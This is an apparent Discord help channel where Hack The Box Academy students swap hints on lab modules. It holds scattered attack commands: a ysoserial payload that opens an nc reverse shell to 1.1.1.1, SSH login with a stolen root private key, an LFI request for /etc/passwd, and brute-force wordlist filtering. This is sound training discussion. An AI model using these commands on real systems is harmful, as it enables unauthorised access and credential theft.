#modules

1 messages · Page 503 of 1

torpid imp
#

You should confirm that your parameters are right. Loginform etc…

worldly grotto
#

look its good command

torpid imp
#

When I remember Check the Login.php again, it maybe false

#

It was not like in the example I think. It was like admin_login.php or something

#

And maybe try rockyou-70 first. You can Save time since the full pw list takes longer

worldly grotto
#

i find password but i try connect and and I am redirecting to the same login page

#

now other password

torpid imp
#

Now try to login with these credentials

#

In admin panel

#

I think I did it a week ago and it worked for me

worldly grotto
torpid imp
#

Hmm

#

Maybe reset your session and target

worldly grotto
#

i dont see this message

rustic sage
#

Can you share the command line?

#

Can you share which wordlist you are using?

#

Are you including all possible variations? Subdomains, directories and extensions?

#

Have you added the found subdomains to your /etc/hosts file?

#

Can not really help further w/o seeing the command line.

#

One min...

#

Are you scanning each subdomain manually?

#

Yes. Including all extensions each time.

#

I can not help further. You are welcome to DM your command line.

#

I am looking for a syntax error. You can replace any spoiler with [SUBDOMAIN] and [EXT].

steel isle
#

does someone else having technical issues connecting to the Phishing target machine at the cross-site scripting (xss) module? (103)

high zinc
#

if you're lucky there are multiple subnets for the targets

rustic sage
#

This command worked fine for me. I don't know exactly what's not right with that command line you shared before. @flint sonnet

#

Did you maybe type -e .ext1, .ext2, .ext3 instead of -e .etx1,.ext2,.etx3 (w/o the space between , and .)? (That's how it appears in your screenshot)

#

One or two index files?

scarlet finch
#

may be this is ur issue

rustic sage
scarlet finch
#

ok

#

just tried to help

#

don't even know the context so I should just close my mouth

rustic sage
#

It just worked fine for me. 🤷‍♂️

#

I did not realize that you are using a different wordlist. Try.

gusty wagon
#

Web Requests: GET Method
Q:Send a GET request to flag.php with two parameters num1 and num2 such that their sum is 1337.
A:??? -how do I do something like this when there is no flag.php- I mean I'm guessing I need to do something like:
<?php
$num1 = 1330;
$num2 = 7;

echo $num1 + $num2;
?>
or am I underthinking it
Any help is needed

mortal nova
#

Following up on this. Is anyone available for a DM regarding this section?

rustic sage
gusty wagon
#

okay I'll try that thanks

west canopy
#

Hello friends,

Has anyone here completed the "Using Web Proxies" module? I am struggling with the question on the "Repeating Requests" section. I have modified the http request in Burp Sequencer to do a recursive list all in an attempt to find the flag (The hint says its in a different directory --- it is NOT the flag.txt that appears right away) but I am still unsuccessful.

If someone could help point me in the right direction it would be much appreciated. Thanks!

gusty wagon
cursive grove
#

@tranquil carbon hey, I got stuck on the 1st question of that same module. I don’t know how to format my answer. It is the one where you spawn a target and use the Ip and wordlist to find a different domain or something like that

#

I got like a blog and forum output

urban sage
#

Just finished the Windows priv esc module. If anyone is stuck, feel free to shoot me a DM.

rustic sage
#

so i'm doing shell of anatomy and i'm upto the question where it asks for the language used in both shells in the format shellname&shell name but both shell used in explanation use the same langauge but just isn't accepting my answer, any help?

dusk bronze
#

ok wow I'm stuck. I'm in the nmap module, where I have the ports 80,110,139,142,445,31337 ports open, of which I need to find one that holds some flag.
This is the section after the nc section - this section they talked about the NSE, and they hinted that webservers are the most attacked services blah blah - so port 80 it is I guess, but no results lmao (tried the -A, --script vuln, -Pn , and what not, but no flag. What am I supposed to do? Can't believe that I'm stuck over an nmap's module section for over an hour

dusk bronze
rustic sage
dusk bronze
#

mb

rustic sage
# dusk bronze mb

One min...
If you did what you wrote, then the answer is in front of your eyes.

dusk bronze
#

Rah

#

How

#

I literally applied -A —script vuln on all ports

#

Some of them didn’t comply with ICMP so I added -Pn to the individuals that didn’t indeed comply

#

Nothing got returned instead of basic info

#

did you also have issues with ICMP and had to opt for -Pn?

rustic sage
dusk bronze
#

well yea but there's no flag

rustic sage
#

All you needed is a script that's included in the category vuln, discovery and intrusive.

#

You used that script. You just need to go a bit further.

#

Any more hint would be spoon-feeding 👶

dusk bronze
#

oh god I've went through that term enough - no need to educate me on spoon-feeding

#

the script doesn't work for me on port 80

rustic sage
dusk bronze
#

the other ports.. I only get the hostname, which is I assume can be used for the ssh but no password (brute forcing it also didn't work)

dusk bronze
#

stuck at 97.97%

#

tried to time it out but didn't help as I mentioned

rustic sage
dusk bronze
#

I've tried several times

#

each time elapsed over 15 mins each

#

over the course of the last 3.5 hours

#

tried from the parrot pwnbox, tried from my own VM

#

I wouldn't have asked for help unless I've burnt through google and my other pen-testing friends

rustic sage
dusk bronze
#

running

#

will give it to run a few minutes, then I'm giving up

#

3 minutes in (threaded it over intrusive, discovery, and vuln)

#

nothign

#

welp

rustic sage
#

Give it some more time... did you add any flag?

dusk bronze
#

yea time is not at the essence, heading off to school - it will have plenty of time

#

man why am I even trying

#

let me gobuster it

#

LMAO

#

bruh this is bullshit

#

the scripts are running over 5 minutes each

#

gobuster 10 seconds - ||/robots.txt||

#

bruh

rustic sage
#

spoiler alert 🙂

dusk bronze
#

well by the section I should've used the scripts' engine

#

never would I ever opt for using NSE for enumerating a web service

rustic sage
dusk bronze
#

well, yea, but NSE didn't supply me with the fact that the port 80 was open

#

it was the regular scan that the library did

#

I mean I get that the NSE is good for databases etc, but not for the actual web enumeration

rustic sage
#

And once your scan is done, you'll found it out.

dusk bronze
dusk bronze
#

I have experience in programming , I know what the required steps are before going on to bothering other people for help.
I’ve tried google, got a confirmation from intrubidus that what I’m doing is correct, still didn’t work.
I think it was just a screw up in the vpn’s bandwidth limitation..

rustic sage
#

Maybe try spawning the box again. Or add -vvv to ssh to get more info.

#

Google has some info about that. Found something related to MTU.

#

I would appreciate to know if and how you solved that.

#

Looks similar to your issue.

lucid veldt
#

i just got the flag

#

IMO It's so bad. almost can count as a bug

#

why only replace htbadmin in one place instead of two places?

unique valve
tulip whale
#

hey! all

#

I am learning to hack

#

pls help me too learn

#

but how to install kali linux

rustic sage
tulip whale
#

ok thx!

rustic sage
#

anytime

mortal nova
#

Following up on this again. Has anyone completed this module?

indigo carbon
#

can anyone help me on getting started module in public exploits section I can't find flag

rustic sage
indigo carbon
#

I tried simple back up file read exploit in metasploit then it gave me a txt and I stucked there

#

what can I do

rustic sage
indigo carbon
#

am I need set rport to 80 or a nmap scan and set to http port

rustic sage
mortal crystal
#

Sorry to interrupt, is HTB Academy good prep for tackling OSCP exam?

dim temple
#

Anyone available for a quick question about on common app skill assessment 1 - about the shell part? Edit: solved of them that was about answer format.

cursive grove
rustic sage
rich heron
#

Anyone tried the OSINT:Corporate Recon module?

rustic sage
white iron
#

Hey! Can someone help me a bit with the 'SQLMAP ESSENTIALS - SKILLS ASSESSMENT'? After a few days i have still no clue where to find an attack vector...

vernal reef
#

Bro dm me i want to help you

lucid veldt
buoyant pecan
#

wait why dont i have permission for anything else

real nacelle
#

hi guys can anybody help with the skills assement module of login brute forcing I am pretty stuck here I tried so many wordlists already :/ [SOLVED]

dusk bronze
#

obviously used the assistance of wiki to gather information but as expected a wordlist made up out of a fictional character is hard to have faith in after all

dusk bronze
#

20 mins running and only now it found it - seriously aren't there any better brute-forcing tools than hydra?

main vapor
dusk bronze
main vapor
#

But be warned, it's syntax and usage is nowhere as easy as Hydra is 😉

dusk bronze
#

🥴

rustic sage
#

Solved?

worldly grotto
#

Hi, can you help me please? I managed to get only one flag for the case n°2 but I can't do the rest. I understood that I have to do something with the cookies because the id is stored in them but I'm blocked for the sqlmap command and how to find the flag, can you tell me please?
Module : SQLMAP ESSENTIALS
Sections : Running SQLMap on an HTTP Request

real nacelle
#

it's mainly an interpretation error

#

the question tells u which username u should use

wide veldt
#

Hi

main vapor
#

@real nacelle DM me.

#

@rustic sage DM me.

real nacelle
wide veldt
real nacelle
#

do u mean ranking in the HTB?

#

I only did 1 starting point box yet😂 I am doing a lot of academy first

real nacelle
rustic sage
#

Why?

west rampart
#

you need to elaborate first i'd say

rustic sage
#

I am just wondering if this is related to your original message #modules message @west rampart

west rampart
#

It's not his business

rustic sage
#

Module: Hashcat
Section: Common Hashes
What's the way to go w/o trying all the built-in rules one by one? Any hint is appreciated.

mild parrot
#

i have a question on cubes

#

if i unlock a module for say 10 cubes

#

and upon completion i'm rewarded with 10 cubes

#

does that mean i get back the cubes i unlocked it with and end up with 20 cubes?

surreal rain
#

For Tier 0 modules, they are free as long as you complete the module.

#

Pay 10, receive 10 by finish.

bold bronze
mild parrot
#

oh i get it

#

thanks

main vapor
#

@rustic sage I have a hint for you. Did you do the Driver machine from the HTB platform?

#

If you have done it then of course you have stolen a hash then cracked it. Your hash algorithm is not that but the previous version of that hash 😉

rustic sage
main vapor
#

@rustic sage Check your DM.

sour tartan
#

Is there a way to get the student subscription if my university is not registered to the academy ? And also it does not have an academic email but I can prove it is recognized and I'm doing the course ?
Thank hou!

west canopy
#

Have any of you fine folks completed the SQLMap Essentials Skills Assessment? I believe I have a found an injectable http post request but have been unable to exploit it. If anyone is available I can provide more details .

lavish tusk
#

Anyone complete the Attacking Web Applications With FFUF Skills Assessment? Need a nudge on question 3.

faint hamlet
#

Hello everyone any who can guide me in Web Attacks - Skills Assessment module

rustic sage
lavish tusk
# rustic sage What have you tried?

I'm fuzzing the subdomains from question1 with the extensions from question 2 for directories and then files. I found a directory but can't find any files other than those that start with "." or index. Tried different wordlists from SecLists but getting same results. I don't really understand the Hint provided.

rustic sage
mental kindle
#

STACK-BASED BUFFER OVERFLOWS ON WINDOWS X86: Fuzzing Parameters
Hi guys. I'm pretty sure i've found correct answer (length). But It's not valid.
I'm sure cuz when i generate payload of length x i have 41414141 in eip
and when i generate payload of length x-1 i have 0D414141 in eip.

west rampart
#

DM me

lavish tusk
white iron
#

Hey! Anyone else having problems with the 1st question of the "Shells & Payloads" module in section "Laudanum, One Webshell To Rule Them All"?

surreal rain
#

What is your issue?

white iron
#

i'm pretty sure about the correct answer, but the submission is not successful

surreal rain
#

PM me your answer

raven scarab
#

Hiya! I am running through the Linux fundamentals module just to brush up, and I am the Web services section where it asks me to start a web server using npm. I have a couple of commands that accomplish what the module asks for (start a webserver on port 8080), but none of them appear to be what the module thinks is 'correct'. Anyone have a hint?

#

Ah, nevermind, I got it! Though, I should add that the command the module accepted does not actually work on my VM, and I am seeing others frustrated by that particular question 😅

scarlet sapphire
#

hi!stack in Shells & Payloads "Exploit the blog site and establish a shell session with the target OS. Submit the contents of /customscripts/flag.txt" i try to run the exploit but i get error "metasploit nomethoderror undefined method 'spit' "

surreal rain
#

Did you try googling that error? Issues with you installation of metasploit is beyond the course. Are you using pwnbox?

#

If not, if you've tried everything, you might need to reinstall metasploit.

scarlet sapphire
#

i connect to NoMachine 1st so i cant do much with metasploit from there and from pwnbox i get the same error

unique valve
scarlet sapphire
#

can i PM; so i dont spoil

serene osprey
#

Hello. I'm just starting the Linux Fundamentals and I'm on the Package Management module. In the 'APT' portion, using the VM, it says taht I can check the repository for Parrot OS at /etc/apt/sources.list.d/parrot.list

However, on my VM, that directory is empty.
Also, the module says the terminal should read
[user name]@htb[/htb]$

but my terminal on the VM reads

htb-student@nixfund:

Am I doing something wrong with the VM? Should I just ignore this and keep going?

rustic sage
#

hello i'm doing the "getting started" public exploits

#

not sure what i'm supposed to do

#

found the plugin but don't really know how to send the options to run it on metasploit

rustic sage
#

Hey guys, about to run an ssl evil twin attack ap on my network would any one recommend an 802.11x dongle on with my pie machine ?

rustic sage
main vapor
#

Set the IP address in RHOSTS then set the VHOST to be what is given in the module and you shall arrive 😉

lucid veldt
#

Hi guys, can i have some help for Broken Authentication skill assessment. I think i'm so close

#

I already got 2 departments other than support. deparx.xs xn xt xr

#
grep '^[[:upper:]]' 0.txt > 1.txt
grep '[[:digit:]]$' 1.txt > 2.txt
grep '[[:lower:]]' 2.txt > 3.txt
cat 3.txt | grep -x '.\{X0,X9\}' > 4.txt
grep -E '$|#|@' 4.txt
#

then bruteforce, i should be able to login

steady shell
#

hello i need help to find an answer to the ffuf

#

in addition to the directory we found above, there is another directory tha can be found.What is it?

loud sparrow
#

Hey im on Shells & Payloads -Skills Assessment secound question, any help?

rustic sage
steady shell
#

ok but i stucked on this for a long time

rustic sage
# steady shell ok but i stucked on this for a long time

I am trying to help. But if you don't want to get helped, you are going to stay stuck for even longer. No one is going to tell you the answer off-hand.
The FFUF module has several sections. It's not clear from your message where you are holding. And without knowing what you have tried till now, it's impossible to help.
Therefore, please, just have mercy on all the people that want to help and provide enough details so they can help you straight away, without having to ask back tens of questions till your problem is clear to them.

main vapor
#

@loud sparrow DM me.

ebon inlet
#

Attacking Common Applications - Skills Assessment II
do I need to privesc? because I can't find flag.txt as regular user

unreal patio
#

I have made working shell code but I don't know how I'm supposed to make it run on the vulnerable server

#

Nvm just had to paste it after connecting

rich vector
#

Hello all, is this the right place to ask for help with one of the Academy 'Getting Started' modules?

rustic sage
#

Yes it is

rich vector
#

Excellent! So I'm on the 'Privilege Escalation' section, and I've managed to ssh into the remote host as user1, and obtained user2's shell. I've also noticed that I have access to the /root/.ssh directory, and I'm able to read the contents of id_rsa, however, I'm not sure where to proceed from there. I've tried copying the contents to my local machine, and ssh'ing using that key, however I'm prompted for user2's password. Am I on the right track? And if so, I'd appreciate some advice on how to proceed

rustic sage
#

You need to make the id_rsa file executable by typing chmod 600 id_rsa and then you can login to ssh with the root account using ssh -i id_rsa root@<ip>

#

and finally you'll be able to read root flag

rich vector
#

I did that, and it still didn't work. Should I be saving the ssh key on my local machine, or on the target host?

#

Oh, wait... I didn't log in as root

#

D'oh. Let me give that a shot 🙂

rustic sage
#

Yes keep me tuned

rich vector
#

It worked. Thank you! I do have a followup question - if I go to the /root/.ssh folder, and type ls -al, I see that there is a public and private key in the directory. Am I correct in assuming that the owner of the key is indicated right next to the permissions?

rustic sage
#

Well done tipsfedora

Yes that's correct

rich vector
#

Appreciate the help, thank you

rustic sage
#

No problem, ping me if you need some further help

rich vector
#

One last newbie question for today - If I want to identify my account or see my rank, do I enter /rank into the chat here?

rustic sage
#

You first need to verify typing /verify in #bot-commands and then you'll be able to see your rank as a discord role

#

Like mine with "Hacker" for example

rich vector
#

Ok, cool

rustic sage
#

But typing !rank will show you your rank on the server, not the website's one

runic rampart
#

Friends who can help with Windows Local Privilege Escalation? The last two modules.

woeful oxide
#

Hello Fellow hackers

#

I’m struggling with the network enumeration with nmap IPS/IDS medium lab

#

I don’t know how to find the DNS version

#

I believe that the port is the 53

#

Someone could give me a hint?

teal socket
#

Hey guys, I also need some help with the nmap - hard lab, is someone online?

thorny crow
#

Can I get a sanity check on the Windows Priv Esc module?

#

Nvm I got it. Box wasn’t stable

scarlet sapphire
#

@main vapor tnx it worked

teal socket
urban sage
teal socket
urban sage
#

Not right off nope.

drifting knoll
rustic sage
woeful oxide
#

@teal socket I did the module

#

I can help

flint sonnet
#

anyone did the hashcat module and can help?

rustic sage
teal socket
rich vector
#

Hello all, hopefully a simple question for you - does the http.server python module work for sending remote http requests, or does it only work for local network environments?

worldly grotto
digital bramble
#

Hey guys, I have a question about a hackthebox academy room.
I think I'm missing something and misunderstand the task....
I am already administrator in the dashboard and changed the cookies to log in, but what is the solution to the question?
Is it the admins name, the cookie, or something else entirely?
Please give me a hint, not the answer itself.
forgot to say it`s the "web requests" module and the "post method" part

vernal reef
#

Try to put a screenshot bro

digital bramble
#

do you mean from the question?

candid swan
#

Anyone have a moment? Stuck on the privileged groups part of the Linux Privilege Escalation module.

hidden hill
#

Hey team. Having an issue with this question as when I do the nc -lvnp 9443 I get "listening on 0.0.0.0 9443" instead of "listening on [any] 9443"

candid swan
#

No, I've already completed that one. This one is under Linux Privilege Escalation.

hidden hill
candid swan
#

I've located the directory that the group has rights to, but am struggling to find anything useful in the logs.

hidden hill
#

I don't think you'll find it in the logs

#

I haven't done this one yet but my understanding of the question is that you might need to search for something like an APP_Key in the log for a base64 or something that you need to decode that will take you to something else

#

I can always be wrong having not this myself

#

otherwise maybe a call for linpeas?

candid swan
#

Good thinking, I'll try and search for some keys.

digital bramble
candid swan
digital bramble
#

thanks

plucky nimbus
#

Anyone got time to help me with the File Upload Attacks module?

harsh tundra
#

Is anyone else able to see the support-popup at all? My browser complains about adblock - but there is none enabled.

rustic sage
candid swan
#

Anyone have any help with this? Stuck on the privileged groups part of the Linux Privilege Escalation module.

woeful oxide
#

Guys

#

Any help with the firewall IDS/IPS evasion medium lab ?

raven scarab
#

I am doing the Windows fundamentals, and I keep running into an issue where I can RDP into the windows machine without issues, but if I try to ping or smbclient the same machine it will fail :/

west canopy
#

@raven scarab not sure if it matters but on the hydra bruteforcing module, i couldn't ping any of the target machines. But was able to do Hydra attacks against them.

unique valve
ionic veldt
#

Hi everyone! Can somebody help me with reverse shell for this java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc 1.1.1.1 4343 -e /bin/sh'.
Victim on Windows Weblogic

zenith schooner
#

anyone on hashcat skill assesment? I am on last question and I succeed 78% of passwords but the frequency is not fine enough to get the answer. I ran out of ideas to increase the %. Help, please.

rustic sage
rustic sage
rustic sage
rustic sage
zenith schooner
unreal patio
#

Can someone help me with assembly skill assessment?

unreal patio
#

I get a segmentation fault at line 7

molten pike
#

Hi everyone, I seem to be stuck at the skills assessment in the SQLmap module.

I think I found the right vector to SQLi, but I can only retrieve database names/table names/column headers and not the data within.

All data is marked as <blank>

Can anyone give me a hint here?

vernal reef
#

d5w dm me

lost dune
candid swan
molten pike
scarlet finch
#

Can u tell me the context

#

and the question

unreal patio
scarlet finch
#

What is it for. Is it a question or in the lesson

unreal patio
scarlet finch
#

?

unreal patio
#

Not anymore

scarlet finch
#

send me the code

#

that they are talking about

#

thx

rustic sage
#

Can I code these in regular notepad

glacial shore
#

anyone down to help a beginner in the "Check Knowledge" in the getting started about hacking module

tulip fulcrum
#

Hi I'm stuck starting point on the preignition machine

#

What is considered to be one of the most essential skills to possess as a Penetration Tester?

rustic sage
glacial shore
# rustic sage I can try. Where are you stuck? What have you tried?

alright so i got the foothold, got the user flag, and then i set up the reverse shell.php, i found out by doing sudo -l that i can run /usr/bin/php, so got the reverse shell.php code from the module that was showcase in the nibbleblog exploit but instead of root i got a normal user login instead of the root one. So basically i need to get a reverse shell php code to get root access, i cant download LinEnum from my vm

rustic sage
white iron
#

Hey! Anyone else working on the "SHELLS & PAYLOADS" Module? I've struggled a lot getting a shell for HOST-02 with METASPLOIT...can't get rid of a "NoMethodError", so finally i decided to exploit manually without msf and got the flag...but i am curious whats the matter with the msf-error, as i think the modules purpose is not doing it by hand

glacial shore
#

probs done something wrong, doing this while eating isnt eazy

#

got an idea, i can read a file that a normal user cant E: using php* but i tried and couldnt

glacial shore
#

god dayum i got it, i forgot to run it as root(sudo).I cant be dumber than this

#

thx for the reminder of GTFOBins i forgot that existed

unreal patio
#

Could someone dm me about the assembly code for task 1 in skill assessment? I just need to insert a print function in a loop but I'm lost

hollow bramble
#

In LFI module I stuck at the 2nd page, I was able to see the source code of 2 files - although not for all 5 pages - but I can't seem to be able to get the /etc/passwd file... I think I understand the source code but I guess that's not case otherwise what I'm trying would work...

jolly barn
#

Please help me I am on the web request module and the bottom bar isn't showing up for me and I'm not sure if is a problem with the instance or my browser

hollow bramble
jolly barn
hollow bramble
# jolly barn

ah I think you're using a pwnbox... if that's the case you can try the Windows or Windows+a keys and if you still don't get a menu I would respawn the box

#

I just spanwed one in my module and it looks nothing like yours and I don't really use the pwnboxes myself so I'm not sure

#

I prefer to use my own VM and connect with the academy VPN

jolly barn
unborn adder
#

Hi guys, I'm currently stuck at the skill assessment 1 of the "Attacking Common Applications" module. I've figured out the possible vulnerability and did successfully fuzzing the ||cgi|| directory. And from the POC that I've read, it requires that we know the ||script name|| on the server, but I've been fuzzing for a whole days with all kinds of file extensions and wordlists but no results. If someone can give me a nudge that would be very helpful! Thanks in advance.

graceful parrot
graceful parrot
graceful parrot
obsidian marsh
#

For the "Included" Tier2 module, I'm not getting a reverse shell on port 1234 as in the walkthrough after performing the "curl" command. Kind of stops the entire lab exercise. any suggestions?

obsidian marsh
eternal relic
#

Hello, I am a bit stuck at the module Information Gathering - Active Infrastructure Identification at the following question: Which CMS is used on app.inlanefreight.local? (Format: word)
How can I query app.inlanefreight.local in combination with the ip-address?

unreal flume
#

Yoo guys, currently on the javascript de obfuscation module and it wants me to get the flag but it doesn't show me anything beyond how to get this line of text

eval(function (p, a, c, k, e, d) { e = function (c) { return c.toString(36) }; if (!''.replace(/^/, String)) { while (c--) { d[c.toString(a)] = k[c] || c.toString(a) } k = [function (e) { return d[e] }]; e = function () { return '\\w+' }; c = 1 }; while (c--) { if (k[c]) { p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]) } } return p }('g 4(){0 5="6{7!}";0 1=8 a();0 2="/9.c";1.d("e",2,f);1.b(3)}', 17, 17, 'var|xhr|url|null|generateSerial|flag|HTB|1_4m_7h3_53r14l_g3n3r470r|new|serial|XMLHttpRequest|send|php|open|POST|true|function'.split('|'), 0, {}))
#

and so with this line of text, how can I find the flag?

#

awh lol

#

got it lads nvm

#

Thought the flag was in the text I pasted above but it was in the HTML code sorry

errant marten
#

thanks!

graceful glen
main vapor
#

@graceful glen Same concept, but different VPN file.

#

When you do modules you will be provided a file, just use that one.

graceful glen
#

i see. thats something i was worried about.

So I am working on using web proxies but I can't seem to find the vpn file for it. do you know where i should check?

main vapor
#

Not every module requires one. If it does, you will 100% know that it requires it.

#

And you only need to download that file once as you can use it all the time throughout your journey.

graceful glen
#

oh I see. so if the module do not contains one, then I have to go other modules to find one and use that to finish other modules with my machine correct?

main vapor
#

If the module requires it then yes you need to connect to the VPN using the file they provided. Otherwise you are all good.

graceful glen
#

hmm okay.

becuase the burp started to get laggy in workstation for some reason.

#

thanks for the awesome answer 🙂

mint karma
#

Hey

#

Anybody done hacking wordpress

#

I am stuck at directory indexing

#

Cant enumrate without logging in at wp-login

main vapor
#

@mint karma DM me.

unreal flume
#

not sure what it's asking me to do here? SSH into the server using "178.62.107.125:31817" if so how? as when I attempt to it just says unknown host

dusk bronze
#

when adding a Vhost to my /etc/hosts how does it work?
I assume you have to assign it the IP of the original site without the Vhost, but then, how exactly does the header Host: vhost.somesite.com get added when performing a fuzz over it?
As mentioned in the fuzzing module, in order to actually scan for connectivity you have to include that header in order to connect to the vhost, so how exactly would I add such thing to my /etc/hosts file?

unreal flume
#

I am too smart coolkid

#

joking

unreal flume
#

in the module I am in they run this nmap --script smb-os-discovery.nse -p445 10.10.10.40
when I run it with my own windows computer it doesnt output what it outputs for them, any idea why?

#

its supposed to output this but it only outputs the port and state and service tab but not the HOst script results

#

oh wait is it not giving me the same output as on htb module because the version of it cant be exploited?

west canopy
#

Anyone here completed the Shells and Payloads module? On the Skills Assessment I'm not sure why i'm not able to use the 50064.rb exploit that is on my pwnbox. From msfconsole i am trying the use command followed by the filepath.

dusk bronze
hollow bramble
#

In LFI module I stuck at the 2nd page, I was able to see the source code of 3 files but I can't seem to be able to get the /etc/passwd file... I think I understand the source code but I guess that's not case otherwise what I'm trying would work... anyone can provide a quick hand?

main vapor
#

@tough ibex @west canopy Make sure you are using the foothold machine.

#

And, there is NO NEED to download the exploit from online. The module author was very nice to ___ (fill in the blanks)

#

Because even if you download it, you don't have write permissions on /usr/share, so you can't put it where Metasploit wants it 😉

#

Which is/are

#

Split or something similar?

#

hmmm, I did not get this one, I got something else. Make sure you set all of the options and set them correctly.

#

No

#

No something is not right

#

It was 172.X.X.X

pure tulip
#

hello guys

#

im trying to get into hacking/coding can anyone show me the basics ?

ornate canyon
#

damn

#

this is my first time ever asking anything

#

can someone help me with windows fundamentals course? im stuck on the last page skill assigments

west canopy
#

@ornate canyon i believe i had to follow all the steps listed at the top of the skills assessment in order to get the answers. For example i had to create the user Jim before i could get his SID.

#

And create an HR security group, etc.

ornate canyon
#

ah yes thanks

#

i created that user then group and did last 2 questions

#

I hate windows

#

I remember doing sharing stuffs permissions and services on windows server in my academy but this powershell is pain in the ass

west canopy
#

@ornate canyon lol . Hey im glad you got it though!

hollow bramble
#

In LFI module my curl request just hangs there, any idea as to why?

hollow bear
#

Is the workstation meant to be blocked from internet access? Doing the POST module and I’m pretty sure that I’ve got access to the admin account ||via changing the cookie|| but the page doesn’t show anything besides the welcome message, and console shows jquery is undefined. Any attempts to hit internet urls just spin forever, so that would be why I don’t have jquery…

subtle mulch
#

did you get feedback here? I'm having the same problem. Login with user "svc_backup" in Windows privilege escalation - Windows Built-in Groups is not possible. Same for user "netadm" in DnsAdmins and user "server_adm" in Server Operators

tepid peak
#

did anyone complete the Shells & Payloads module?

daring peak
#

stuck on static analysis part in Assessment SECURE CODING 101: JAVASCRIPT, could anyone help me?

main vapor
#

@tepid peak What help do you need

hollow bramble
#

Still stuck where I was yesterday... In LFI module my curl request just hangs there, any idea as to why? Pretty sure myt payload is good as from the index.php source code nothing special happens to the payload, no added extensions, no blacklisting.... I don't want the answer, I just want to understand why this payload doesn't get a response:

┌─[✗]─[user@parrot]─[~]
└──╼ $curl -v http://178.62.107.125:30475/basic/index.php?language=/etc/passwd
*   Trying 178.62.107.125:30475...
* Connected to 178.62.107.125 (178.62.107.125) port 30475 (#0)
> GET /basic/index.php?language=/etc/passwd HTTP/1.1
> Host: 178.62.107.125:30475
> User-Agent: curl/7.74.0
> Accept: */*
> 

The question is simple and the index.php file doesn't prohibit this request from going through so this is driving me insane.

main vapor
#

@hollow bramble Which question in the module exactly?

hollow bramble
#

I got the index.php file of the basic and wrappers URI and the index.php and config.php files from the extension URI... in the basic URI nothing is appended or blacklisted so my payload should go through, but it doesn't even generate an error message, it just hangs there

main vapor
#

Your payload seems fine to me. How about forgetting cURL for now and just doing it from your browser?

hollow bramble
#

same issue... nothing happens

main vapor
#

Reset the target and then try again.

hollow bramble
#

already did many times since I've been stuck on this for 4 days....

main vapor
#

Then I do not know what is the problem. If it persists, you might ask someone from the staff maybe.

hollow bramble
#

hmm ok and how would I do that? the community-help section?

main vapor
#

I genuinely have not done that before. (One last thing to try maybe is making sure your firewall is not blocking incoming packets, check that).

hollow bramble
#

I doubt it since I can change the payload to receive the index.php file... but anyway thanks a lot ... I'll try to see if anyone form the staff can assist

short vale
#

I have a question about the file inclusion module

#

||When I try to poison the logfile with php code it always stops the output being displayed from file inclusion, is this normal? ||

dusk bronze
#

I'm having issues with cracking the hash 978078e7845f2fb2e20399d9e80475bc1c275e06.
I ran hashid and looked at the examples online and it's obvious that it's ||SHA-1||, albeit, when I run hashcat on it using modes 6/7, with the mask ?d?s, and without the mask, it returns Token length exception and Signature unmatched accordingly.
The token itself is of length 40, but when I run wc -c hashfile.txt, it returns 41 (perhaps the suffix \0 constitutes that extra 1 (how we write strings in assembly)), so this might be the issue but I have no idea.
anyone who finished the password cracking module and can throw some light on this issue?

tepid peak
#

I only got them after reading the hint and don't understand how / if I was supposed to do it, it wasn't a default password or anything

main vapor
#

"When in doubt use brute force."

west canopy
#

@tepid peak i think the credentials actually didn't work for me when i tried them but I'm also not the sharpest tool in the shed. I believe i just navigated to status.inlanefreight or whatever the URL was , and then uploaded an aspx Laudanum shell like on a previous section in the module.

#

tomcat | Tomcatadm didn't work but I probably was doing something wrong.

tepid peak
main vapor
#

Ken Thompson, if you mean the author.

tepid peak
#

I also did that but it wasn't even in rockyou

main vapor
#

Then the author's intent was not that maybe.

#

auxiliary/scanner/http/tomcat_mgr_login did you try this

#

The module is about "Shells & Payloads", so it does not matter that much whether you can guess the password or not I think.

#

And behold, now that you got a new password, add it manually to rockyou.txt 😄

#

Maybe your next victims might have it also.

main vapor
west canopy
#

@main vapor well you know me. I still wear Velcro shoes because tying laces is way over my head.

tepid peak
dusk bronze
sterile hawk
#

@tall crane Don't advertise servers here please

dusk bronze
#

kind of an awkward question, but any idea why I might have the poorest connection on my VM (pinging google.com is a shit show, while access youtube.com through firefox is easy peasy, while on my main windows pc that is running the VM, pinging google.com and every other web service is running perfectly fine)?
things I tried, which all didn't work:

  • closing my vpn
  • renewing my ip on my main pc
  • restarting the VM
  • pinging other services
west canopy
#

@dusk bronze Do you have any other virtual machines you can test on? If you're using a Kali VM maybe try a Parrot VM. Also I would maybe try using a different virtualization software if you haven't already.

dusk bronze
#

apparently from one CTF that I did I installed some docker that establishes connections and I just forgot about it and somehow it pushed itself as the main network interface

#

so I removed it and restarted the host and the DNS is now working correct on both the host and the VM

#

and thanks

west canopy
#

np 🙂 nice troubleshooting

unreal flume
#

I am trying to exploit web server on HTB module which is using wordpress 2.7.10 and has a "Backup File Read Vulnerability " but when I run the exploit it just downloads a txt which lists a bunch of file directories?

dusk bronze
#

JESUS CHRIST the Cracking Passwords with HashCat module is a fking nightmare!

west canopy
#

@dusk bronze hey but it builds character right?

serene osprey
#

Can anyone explain why the kali terminal changes from having the color coded commands to no color coding when you ssh into another box?

serene osprey
#

ok I'm totally stuck on the second question for the module File Descriptors and Redirections. I've been googling for the last 45 minutes and tried everything I've come across including HTB forum posts. I cannot seem to figure this out.

#

I've tried dpkg -l | grep -c '^ii' and got 2792

#

but that's not the correct answer

#

apt list --installed | wc -l gives me 2793

#

still wrong

#

just tried find / -name *.deb 2>/dev/null | grep systemd | wc -l and got 4

rustic sage
serene osprey
#

thanks. I see now how that makes sense. I'll try it as soon as I can. I'm having technical difficulties getting the target ip to spawn

rustic sage
rustic sage
serene osprey
#

so I have ssh'd into the target system. now I tried apt list --installed | wc -l | head -10 and the number was 738, and is still the wrong answer.

rustic sage
serene osprey
#

ah I got it!

#

I used dpkg -l | grep -c 'ii' | head -10

#

Can you explain what the difference is from 'wc -l' and 'grep -c'? It seems like they are both commands to display something..

#

sorry i'm very tired

#

may have already gone over this in the course

rustic sage
rustic sage
serene osprey
#

These two commands gave me different results.
dpkg -l | grep -c 'ii'
and
dpkg -l | grep -c 'ii' | head -10

#

the second command, with | head -10 added, was 1 less than the command without it.

serene osprey
#

how can I wrap something in a spoiler

rustic sage
serene osprey
#

screen shot

#

the final command was 10 less

#

747, then 737

rustic sage
serene osprey
#

XD oh well. Thanks for the help anyway. 🙂

